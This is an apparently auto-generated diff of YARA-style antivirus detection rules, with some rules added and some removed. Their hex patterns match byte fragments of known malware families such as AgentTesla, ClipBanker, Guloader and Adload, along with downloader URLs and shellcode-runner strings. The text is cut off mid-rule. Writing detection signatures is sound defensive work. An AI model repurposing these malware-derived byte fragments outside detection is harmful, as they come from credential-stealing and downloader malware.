6b 2e 41 21 64 68 61 00 01 00 08 01 48 6f 6c 6c 6f 77 65 72 01 00 0a 01 45 54 57 50 61 74 63 68 65 72 01 00 0f 01 50 61 79 6c 6f 61 64 50 72 6f 74 6f 63 6f 6c 01 00 0c 01 52 75 6e 53 68 65 6c 6c 63 6f 64 65 01 00 15 01 44 65 63 6f 64 65 46 72 6f 6d 50 61 79 6c 6f 61 64 46 69 6c 65 01 00 0b 01 44 65 63 72 79 70 74 44 61 74 61 01 00 15 01 67 65 74 5f 53 68 65 6c 6c 63 6f 64 65 46 69 6c 65 4e 61 6d 65 01 00 18 01 4d 61 70 41 6e 64 50 61 74 63 68 54 61 72 67 65 74 50 72 6f 63 65 73 73 00 } //30720 + $a_00_2 = {00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6c 69 70 42 61 6e 6b 65 72 2e 41 48 42 21 4d 54 42 00 03 00 52 03 0f 11 00 c7 40 08 01 00 00 00 c7 40 0c 01 00 00 00 48 8d 90 01 04 00 48 89 01 0f 11 41 10 0f 11 41 20 0f 11 41 30 0f 11 41 40 0f 11 41 50 0f 11 41 28 0f 11 41 38 0f 11 41 48 48 89 59 18 48 89 59 20 89 71 58 c7 41 10 02 00 00 00 89 59 5c eb 90 00 02 00 3e 01 48 8d 54 24 78 48 8b 74 24 78 4c 8b 75 90 49 83 fe 07 48 0f 47 d6 48 89 54 24 28 0f 57 c0 0f 11 44 24 38 48 89 7c 24 48 48 89 7c 24 50 4d 8d 65 01 bb 07 00 00 00 48 8d 7c 24 38 4c 3b e3 00 } //30720 + $a_00_3 = {00 05 00 05 00 05 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 57 61 6a 61 6d 2e 48 4d 52 00 01 00 42 80 01 5c 6a 65 6e 6b 69 6e 73 5c 77 6f 72 6b 73 70 61 63 65 5c 73 74 61 62 6c 65 2d 31 2e 35 30 5c 73 72 63 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 77 61 6a 61 6d 5f 67 6f 62 6c 69 6e 5f 36 34 2e 70 64 62 01 00 10 80 01 46 6c 75 73 68 46 69 6c 65 42 75 66 66 65 72 73 01 00 11 80 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 0d 80 01 50 65 65 6b 4e 61 6d 65 64 50 69 70 65 01 00 10 80 01 54 65 72 6d 69 6e 61 74 65 50 72 6f 63 65 73 73 00 } //30720 + $a_00_4 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 45 4c 31 32 33 21 4d 54 42 00 01 00 27 81 01 74 61 75 74 6f 6d 65 72 79 20 65 64 64 69 6b 6b 65 66 61 62 72 69 6b 73 20 65 6c 61 65 6f 73 61 63 63 68 61 72 75 6d 01 00 1a 81 01 61 6d 70 6c 69 74 75 64 65 20 72 65 70 72 6f 66 6f 74 6f 67 61 66 65 72 6e 65 01 00 0f 81 01 72 65 61 64 68 65 72 65 20 61 66 73 74 64 65 01 00 20 81 01 63 68 61 74 74 65 72 65 72 7a 20 6b 6c 6f 61 6b 73 79 73 74 65 6d 20 61 6e 74 69 63 6f 64 6f 6e 01 00 13 81 01 63 68 72 6f 6d 61 74 6f 6d 65 74 65 72 20 63 72 61 76 65 00 } //30720 + $a_00_5 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 47 36 31 31 21 4d 54 42 00 01 00 25 81 01 64 72 69 6b 6b 65 61 75 74 6f 6d 61 74 65 72 6e 65 73 20 73 70 6f 6e 67 69 6e 62 6c 61 73 74 69 63 2e 65 78 65 01 00 1e 81 01 70 72 6f 66 66 65 73 73 69 6f 6e 20 63 65 6c 65 6d 69 6e 65 73 20 77 69 6c 69 77 69 6c 69 01 00 0f 81 01 74 6d 72 65 72 6e 65 73 20 72 65 63 6c 61 64 01 00 29 81 01 75 6e 6d 69 73 74 72 75 73 74 66 75 6c 6c 79 20 61 6c 65 63 74 6f 72 69 64 69 6e 65 20 74 69 6c 73 74 61 61 65 6c 73 65 72 01 00 09 81 01 68 65 6c 66 72 69 65 64 73 00 } //30720 condition: ((#a_4c_0 & 1)*21539+(#a_66_1 & 1)*21362+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=4 } -rule _InfrastructureShared_13603{ +rule _InfrastructureShared_14499{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6c 69 70 42 61 6e 6b 65 72 2e 41 48 42 21 4d 54 42 00 03 00 52 03 0f 11 00 c7 40 08 01 00 00 00 c7 40 0c 01 00 00 00 48 8d 90 01 04 00 48 89 01 0f 11 41 10 0f 11 41 } //21539 + $a_41_1 = {0f 11 41 40 0f 11 41 50 0f 11 41 28 0f 11 41 38 0f } //3872 + condition: + ((#a_4c_0 & 1)*21539+(#a_41_1 & 1)*3872) >=5 + +} +rule _InfrastructureShared_14500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -153873,19 +164185,33 @@ rule _InfrastructureShared_13603{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*27749+(#a_00_4 & 1)*5) >=5 } -rule _InfrastructureShared_13604{ +rule _InfrastructureShared_14501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 45 4c 31 32 33 21 4d 54 42 00 01 00 27 81 01 74 61 75 74 6f 6d 65 72 79 20 65 64 64 69 6b 6b 65 66 61 62 72 69 6b 73 20 65 6c 61 65 6f 73 61 63 63 68 61 72 75 6d 01 00 1a 81 01 61 6d 70 6c 69 74 } //18467 $a_20_1 = {65 70 72 6f 66 6f 74 6f 67 61 66 65 72 6e 65 01 00 0f 81 01 72 65 61 64 68 65 72 65 20 61 66 73 74 64 65 01 00 20 81 01 63 68 61 74 74 65 72 65 72 7a 20 6b 6c 6f 61 6b 73 79 73 74 65 6d 20 61 6e 74 69 63 6f 64 6f 6e 01 00 13 81 01 63 68 72 6f 6d 61 74 6f 6d 65 74 65 72 20 63 72 61 76 65 00 00 78 c6 00 } //25717 - $a_50_4 = {52 3a 48 53 54 52 3a 45 6f 72 65 7a 6f 5f 47 61 6d 65 73 44 65 73 6b 74 6f 70 00 04 00 0f 01 7b 22 75 72 6c 22 3a 22 68 74 74 70 3a 2f 2f 01 00 13 01 2f 67 61 6d 65 73 2d 64 65 73 6b 74 6f 70 2e 63 6f 6d 2f 01 } //19521 + $a_52_4 = {57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 47 36 31 31 21 4d 54 42 00 01 00 25 81 01 64 72 69 6b 6b 65 61 75 74 6f 6d 61 74 65 72 6e 65 73 20 73 70 6f 6e 67 69 6e 62 6c 61 73 74 69 63 2e 65 78 65 01 00 1e 81 01 70 72 6f 66 66 65 73 73 69 6f 6e } //21320 condition: - ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*25717+(#a_50_4 & 1)*19521) >=5 + ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*25717+(#a_52_4 & 1)*21320) >=5 } -rule _InfrastructureShared_13605{ +rule _InfrastructureShared_14502{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 47 36 31 31 21 4d 54 42 00 01 00 25 81 01 64 72 69 6b 6b 65 61 75 74 6f 6d 61 74 65 72 6e 65 73 20 73 70 6f 6e 67 69 6e 62 6c 61 73 74 69 63 2e 65 78 65 01 00 1e 81 01 70 72 6f 66 66 65 73 73 69 } //18467 + $a_63_1 = {6c 65 6d 69 6e 65 73 20 77 69 6c 69 77 69 6c 69 01 00 0f 81 01 74 6d 72 65 72 6e 65 73 20 72 65 } //28271 + $a_64_2 = {00 29 81 01 75 6e 6d 69 73 74 72 75 73 74 66 75 6c 6c 79 20 61 6c 65 63 74 6f 72 69 64 69 6e 65 20 74 69 6c 73 74 61 61 65 6c 73 65 72 01 00 09 81 01 68 65 6c 66 72 69 65 64 73 00 00 78 c6 00 00 05 00 05 00 06 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 45 6f 72 65 7a 6f 5f 47 61 6d 65 73 } //27747 + $a_6b_3 = {6f 70 00 04 00 0f 01 7b 22 75 72 6c 22 3a 22 68 74 74 70 3a 2f 2f 01 00 13 01 2f 67 61 6d 65 73 2d 64 65 73 6b 74 6f 70 2e 63 6f 6d 2f 01 00 20 01 2f 66 72 65 65 73 6f 66 74 74 6f 64 61 79 2e 63 6c 6f 75 64 34 77 69 64 67 65 74 2e 63 6f 6d 2f 01 00 17 01 2f 6d 79 62 65 73 74 6f 66 66 65 72 73 74 6f 64 61 79 2e 63 6f 6d 2f 01 00 18 01 2f 6d 6f } //25924 + $a_65_4 = {63 73 74 61 72 74 65 72 6b 69 74 2e 63 6f 6d 2f 01 00 13 01 2f 6f 6e 65 73 6f 66 74 70 65 72 64 61 79 2e 63 6f 6d 2f 00 00 78 c6 00 00 05 00 05 00 08 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 69 64 65 77 61 6c 6b 2e 41 21 64 68 61 00 01 00 08 01 48 6f 6c 6c 6f 77 65 72 01 00 0a 01 45 54 57 50 61 } //26978 + condition: + ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*28271+(#a_64_2 & 1)*27747+(#a_6b_3 & 1)*25924+(#a_65_4 & 1)*26978) >=5 + +} +rule _InfrastructureShared_14503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -153898,7 +164224,7 @@ rule _InfrastructureShared_13605{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25970+(#a_00_4 & 1)*5+(#a_45_5 & 1)*17996) >=5 } -rule _InfrastructureShared_13606{ +rule _InfrastructureShared_14504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -153915,7 +164241,7 @@ rule _InfrastructureShared_13606{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*3072+(#a_6c_2 & 1)*26707+(#a_00_3 & 1)*0+(#a_3a_4 & 1)*19521+(#a_69_5 & 1)*520+(#a_52_6 & 1)*19531+(#a_00_7 & 1)*29557) >=5 } -rule _InfrastructureShared_13607{ +rule _InfrastructureShared_14505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -153929,7 +164255,7 @@ rule _InfrastructureShared_13607{ ((#a_46_0 & 1)*16675+(#a_11_1 & 1)*4868+(#a_01_2 & 1)*3584+(#a_31_3 & 1)*19276+(#a_69_4 & 1)*29295) >=6 } -rule _InfrastructureShared_13608{ +rule _InfrastructureShared_14506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -153942,21 +164268,33 @@ rule _InfrastructureShared_13608{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29811+(#a_52_4 & 1)*21320+(#a_69_5 & 1)*25705) >=6 } -rule _InfrastructureShared_13609{ +rule _InfrastructureShared_14507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 14 81 01 5c 7a 65 6e 5c 66 69 6c 65 5f 61 63 63 65 73 73 2e 63 70 70 01 00 27 81 01 65 78 69 73 74 20 69 6e 20 74 68 69 73 20 64 69 72 65 63 74 6f 72 79 3f 20 59 6f 75 27 72 65 } //18467 $a_64_1 = {69 6e 67 01 00 10 81 01 5c 7a 65 6e 5c 7a 73 74 72 69 6e 67 2e 63 70 70 01 00 1f 81 01 5c 42 75 69 6c 64 5c 42 69 6e 5c 52 65 61 6c 74 69 6d 65 53 79 6e 63 5f 78 36 34 2e 70 64 62 01 00 0c 81 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 0e 81 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 00 00 78 c6 00 00 07 00 07 } //27424 - $a_52_3 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 31 30 31 31 32 32 21 4d 54 42 00 01 00 07 01 0a 20 16 10 02 00 0b 01 00 16 81 01 4f 49 59 35 34 59 35 35 5a 42 45 51 34 34 47 46 34 46 35 37 4e 35 01 00 21 81 01 5f 32 35 38 32 } //21320 - $a_32_4 = {32 37 33 34 65 34 33 63 32 33 66 62 65 31 35 32 66 31 31 38 63 62 31 01 00 20 81 01 64 38 38 35 30 37 66 66 31 32 61 65 61 34 31 33 64 61 35 61 30 61 33 62 39 63 30 34 } //14643 - $a_33_5 = {00 07 01 43 6f 6e 76 65 72 74 01 00 08 01 54 6f 55 49 6e 74 33 32 01 00 07 01 4b 6f 6c 61 69 74 6f 00 00 78 c6 00 00 08 00 08 00 07 00 21 23 48 53 54 52 3a 54 72 6f } //13153 + $a_3a_3 = {61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 63 6f 64 65 72 75 6e 6e 65 72 2e 4e 52 21 4d 54 42 00 02 00 1c 01 67 6f 67 6f 20 2d 4c 20 2d 70 20 68 74 74 70 20 2d 71 20 7c 20 65 78 70 6c 6f 69 74 01 } //19521 + $a_63_4 = {61 } //5376 a + $a_65_5 = {63 74 6f 72 73 2f 67 6f 67 6f 2f 76 32 02 00 25 01 67 6f 67 6f 20 2d 69 20 31 2e 31 2e 31 2e 31 2f 32 34 20 2d 70 20 74 6f 70 32 2c 77 69 6e 2c 64 62 20 2d 65 76 02 00 2c 01 67 6f 67 6f 20 2d 69 20 31 30 2e 31 2e 31 2e 31 2f 38 20 2d 6d 20 73 73 20 2d 70 20 74 6f 70 32 2c 77 69 6e 2c 64 62 20 2d 2d 61 66 00 00 78 c6 00 00 07 00 07 00 07 00 } //28265 condition: - ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*27424+(#a_52_3 & 1)*21320+(#a_32_4 & 1)*14643+(#a_33_5 & 1)*13153) >=6 + ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*27424+(#a_3a_3 & 1)*19521+(#a_63_4 & 1)*5376+(#a_65_5 & 1)*28265) >=6 } -rule _InfrastructureShared_13610{ +rule _InfrastructureShared_14508{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 63 6f 64 65 72 75 6e 6e 65 72 2e 4e 52 21 4d 54 42 00 02 00 1c 01 67 6f 67 6f 20 2d 4c 20 2d 70 20 68 74 74 70 20 2d 71 20 7c 20 65 78 70 6c 6f 69 74 01 00 15 01 63 68 } //16675 + $a_72_1 = {61 63 74 6f 72 73 2f 67 6f 67 6f 2f 76 32 02 00 25 01 67 6f 67 6f 20 2d 69 20 31 2e 31 2e 31 2e 31 2f 32 34 20 2d 70 20 74 6f 70 32 2c 77 69 6e 2c 64 62 20 2d 65 76 02 00 2c 01 67 6f 67 6f 20 2d 69 20 31 30 2e 31 2e 31 2e 31 2f 38 20 2d 6d 20 73 73 20 2d 70 20 74 6f 70 32 2c 77 69 6e 2c 64 62 20 2d 2d 61 66 00 00 78 c6 00 00 07 } //26977 + $a_48_3 = {54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 31 30 31 31 32 32 21 } //8448 TR:Trojan:MSIL/AgentTesla.SM101122! + condition: + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*26977+(#a_48_3 & 1)*8448) >=7 + +} +rule _InfrastructureShared_14509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -153972,7 +164310,7 @@ rule _InfrastructureShared_13610{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*12856+(#a_39_2 & 1)*13153+(#a_73_3 & 1)*280+(#a_77_4 & 1)*2304+(#a_6e_5 & 1)*24427+(#a_23_6 & 1)*8) >=7 } -rule _InfrastructureShared_13611{ +rule _InfrastructureShared_14510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 21 " @@ -153988,7 +164326,7 @@ rule _InfrastructureShared_13611{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*265+(#a_53_2 & 1)*14958+(#a_00_3 & 1)*28001+(#a_65_4 & 1)*385+(#a_62_5 & 1)*25933+(#a_79_6 & 1)*28525) >=8 } -rule _InfrastructureShared_13612{ +rule _InfrastructureShared_14511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -154005,7 +164343,7 @@ rule _InfrastructureShared_13612{ ((#a_46_0 & 1)*16675+(#a_47_1 & 1)*-32502+(#a_72_2 & 1)*21360+(#a_6a_3 & 1)*29268+(#a_73_4 & 1)*25970+(#a_00_5 & 1)*66+(#a_35_6 & 1)*385+(#a_65_7 & 1)*276) >=8 } -rule _InfrastructureShared_13613{ +rule _InfrastructureShared_14512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -154015,12 +164353,12 @@ rule _InfrastructureShared_13613{ $a_52_4 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 30 37 30 37 32 32 21 4d 54 42 00 01 00 25 81 01 24 35 62 32 33 64 64 65 37 2d 63 36 32 62 2d 34 31 37 38 2d 61 64 37 62 2d 39 61 39 62 36 32 62 64 65 65 35 34 01 00 14 01 47 65 } //21320 $a_65_5 = {75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 08 01 47 65 74 54 79 70 65 73 01 00 06 01 43 6f 6e 63 61 74 01 00 08 01 54 6f 53 74 72 69 6e 67 01 00 0d 01 67 65 74 5f 46 6f 72 65 43 6f 6c 6f 72 01 00 0d 01 73 65 74 5f 46 6f 72 65 43 6f 6c 6f 72 00 00 78 c6 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a } //17780 $a_4c_6 = {41 67 65 6e 74 54 65 73 6c 61 2e 56 49 36 36 21 4d 54 42 00 01 00 25 80 01 24 42 31 31 39 46 36 34 45 2d 32 43 36 37 2d 34 32 46 43 2d 42 31 39 38 2d 36 44 34 45 30 39 32 33 42 44 37 46 01 00 0f 80 01 67 65 74 5f 50 61 } //21325 - $a_41_7 = {72 61 79 30 01 00 12 80 01 67 65 74 5f 41 72 72 61 79 41 74 74 72 69 62 75 74 65 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 07 80 01 47 65 74 43 68 61 72 01 00 08 80 01 54 6f 53 74 72 69 6e 67 01 00 06 80 01 48 75 6e 74 65 72 01 00 05 00 00 43 5f 44 00 00 00 78 c6 00 00 08 00 08 00 08 00 21 23 53 4c } //24946 + $a_41_7 = {72 61 79 30 01 00 12 80 01 67 65 74 5f 41 72 72 61 79 41 74 74 72 69 62 75 74 65 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 07 80 01 47 65 74 43 68 61 72 01 00 08 80 01 54 6f 53 74 72 69 6e 67 01 00 06 80 01 48 75 6e 74 65 72 01 00 05 00 00 43 5f 44 00 00 00 78 c6 00 00 08 00 08 00 08 00 21 23 48 53 } //24946 condition: ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*19713+(#a_52_4 & 1)*21320+(#a_65_5 & 1)*17780+(#a_4c_6 & 1)*21325+(#a_41_7 & 1)*24946) >=8 } -rule _InfrastructureShared_13614{ +rule _InfrastructureShared_14513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -154028,33 +164366,47 @@ rule _InfrastructureShared_13614{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 30 37 30 37 32 32 21 4d 54 42 00 01 00 25 81 01 24 35 62 32 33 64 64 65 37 2d 63 36 32 62 2d 34 31 37 38 2d 61 64 37 62 2d 39 61 39 62 36 32 62 64 65 65 35 34 01 00 14 01 } //18467 $a_45_1 = {65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 08 01 47 65 74 54 79 70 65 73 01 00 06 01 43 6f 6e 63 61 74 01 00 08 01 54 6f 53 74 72 69 6e 67 01 00 0d 01 67 65 74 5f 46 6f 72 65 43 6f 6c 6f 72 01 00 0d 01 73 65 74 5f 46 6f 72 65 43 6f 6c 6f 72 00 00 78 c6 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 } //25927 $a_61_2 = {3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 36 36 21 4d 54 42 00 01 00 25 80 01 24 42 31 31 39 46 36 34 45 2d 32 43 36 37 2d 34 32 46 43 2d 42 31 39 38 2d 36 44 34 45 30 39 32 33 42 44 37 46 01 00 0f 80 01 67 65 74 5f 50 61 72 61 6d 41 72 72 61 79 30 01 00 12 80 01 67 65 74 5f 41 72 72 61 79 41 74 74 72 } //28530 - $a_74_3 = {01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 07 80 01 47 65 74 43 68 61 72 01 00 08 80 01 54 6f 53 74 72 69 6e 67 01 00 06 80 01 48 75 6e 74 65 72 01 00 05 00 00 43 5f 44 00 00 00 78 c6 00 00 08 00 08 00 08 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 78 4d 61 74 74 65 72 2e 4d 50 21 4d 54 42 00 01 00 10 01 } //25193 - $a_03_4 = {04 05 } //256 Ԅ - $a_09_5 = {0a 0b 0c 0d 0e 0f 01 00 } //1798 - $a_72_6 = {77 4f 66 66 73 65 74 20 3d 20 24 69 20 2a 20 24 62 75 66 66 65 72 53 69 7a 65 01 00 0b 01 66 6f 75 6e 64 41 } //285 - $a_73_7 = {01 00 12 01 24 61 63 65 45 6e 74 72 79 2e 41 63 65 46 6c 61 67 73 01 00 0c 01 4d 41 43 54 72 69 70 6c 65 44 45 53 01 00 09 01 52 49 50 45 4d 44 31 36 30 01 00 0f 01 24 70 61 74 68 73 54 6f 50 72 6f 63 65 73 73 01 00 0d 01 47 65 74 2d 43 6c 69 70 62 6f 61 72 64 00 00 78 c6 00 00 0e 00 0d 00 05 00 21 23 } //25443 + $a_74_3 = {01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 07 80 01 47 65 74 43 68 61 72 01 00 08 80 01 54 6f 53 74 72 69 6e 67 01 00 06 80 01 48 75 6e 74 65 72 01 00 05 00 00 43 5f 44 00 00 00 78 c6 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 51 47 30 31 21 4d 54 42 00 01 00 14 81 01 61 6e } //25193 + $a_62_4 = {76 61 61 62 65 6e 65 74 73 2e 69 6e 69 01 00 10 81 01 50 6c 65 6f 6e 61 73 74 69 63 37 37 2e 74 78 74 01 00 10 81 01 70 72 6f 6a 65 6b 74 72 65 72 6e 65 2e 68 65 6d 01 00 0c 81 01 76 69 63 65 6e 74 65 73 2e 6b 6e 79 01 00 11 81 01 42 69 6c 6c 61 72 64 6b 75 67 6c 65 73 2e 69 6e 69 01 00 0d 81 01 6d 6f } //29287 + $a_76_5 = {65 74 2e 6a 70 67 01 00 0e 81 01 42 69 6c 61 62 69 61 6c 65 6e 2e 74 78 74 01 00 0a 81 01 6f 72 74 68 69 63 2e 68 75 73 00 00 78 c6 00 00 08 00 08 00 08 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 78 4d 61 74 74 65 72 2e 4d 50 21 4d 54 42 00 01 00 10 01 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 01 00 1d } //29549 + $a_6f_6 = {4f 66 66 73 65 74 20 3d 20 24 69 20 2a 20 24 62 75 66 66 65 72 53 69 7a 65 01 00 0b 01 66 6f 75 6e 64 41 63 63 65 73 73 01 00 12 01 24 61 63 65 45 6e 74 72 79 2e 41 63 65 46 6c 61 67 73 01 00 0c 01 4d 41 43 54 72 69 70 6c 65 44 45 53 01 00 09 01 52 49 50 45 4d 44 31 36 30 01 00 0f 01 24 70 61 74 68 73 54 6f 50 72 6f 63 65 73 73 01 00 0d 01 } //9217 + $a_2d_7 = {6c 69 70 62 6f 61 72 64 00 00 78 c6 00 00 0e 00 0d 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 41 64 6c 6f 61 64 2e 53 49 42 43 21 4d 54 42 00 0a 00 45 03 68 74 74 70 3a 2f 2f 90 01 08 2d 90 01 04 2d 90 01 04 2d 90 01 04 2d 90 01 0c 2e 73 33 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 2f 44 6f 77 } //25927 condition: - ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*25927+(#a_61_2 & 1)*28530+(#a_74_3 & 1)*25193+(#a_03_4 & 1)*256+(#a_09_5 & 1)*1798+(#a_72_6 & 1)*285+(#a_73_7 & 1)*25443) >=8 + ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*25927+(#a_61_2 & 1)*28530+(#a_74_3 & 1)*25193+(#a_62_4 & 1)*29287+(#a_76_5 & 1)*29549+(#a_6f_6 & 1)*9217+(#a_2d_7 & 1)*25927) >=8 } -rule _InfrastructureShared_13615{ +rule _InfrastructureShared_14514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 36 36 21 4d 54 42 00 01 00 25 80 01 24 42 31 31 39 46 36 34 45 2d 32 43 36 37 2d 34 32 46 43 2d 42 31 39 38 2d 36 44 34 45 30 39 32 33 42 44 37 46 01 00 0f 80 01 67 65 74 } //18467 $a_72_1 = {6d 41 72 72 61 79 30 01 00 12 80 01 67 65 74 5f 41 72 72 61 79 41 74 74 72 69 62 75 74 65 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 07 80 01 47 65 74 43 68 61 72 01 00 08 80 01 54 6f 53 74 72 69 6e 67 01 00 06 80 01 48 75 6e 74 65 72 01 00 05 00 00 43 5f 44 00 00 } //20575 - $a_00_2 = {00 08 00 08 00 08 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 78 4d 61 74 74 65 72 2e 4d 50 21 4d 54 42 00 01 00 10 01 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 01 00 1d 01 24 72 6f 77 4f 66 66 73 65 74 20 3d 20 24 69 20 2a 20 24 62 75 66 66 65 72 53 69 7a 65 01 00 0b 01 66 6f 75 6e 64 41 63 63 65 73 73 01 00 12 01 24 61 63 65 45 6e 74 72 79 2e 41 63 65 46 6c 61 67 73 01 00 0c 01 4d 41 43 54 72 69 70 6c 65 44 45 53 01 00 09 01 52 49 50 45 4d 44 31 36 30 01 00 0f 01 24 70 61 74 68 73 54 6f 50 72 6f 63 65 73 73 01 00 0d 01 47 65 74 2d 43 6c 69 70 62 6f 61 72 64 00 } //30720 - $a_00_3 = {00 0e 00 0d 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 41 64 6c 6f 61 64 2e 53 49 42 43 21 4d 54 42 00 0a 00 45 03 68 74 74 70 3a 2f 2f 90 01 08 2d 90 01 04 2d 90 01 04 2d 90 01 04 2d 90 01 0c 2e 73 33 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 2f 44 6f 77 6e 6c 6f 61 64 65 72 2f 53 6d 61 72 74 50 44 46 2e 65 78 65 90 00 01 00 0c 01 31 30 2e 33 32 2e 30 2e 36 34 2e 32 01 00 0e 01 69 74 64 6f 77 6e 6c 6f 61 64 2e 64 6c 6c 01 00 10 01 69 74 64 5f 64 6f 77 6e 6c 6f 61 64 66 69 6c 65 01 00 0e 01 69 74 64 5f 63 6c 65 61 72 66 69 6c 65 73 00 } //30720 - $a_00_4 = {00 0e 00 0e 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 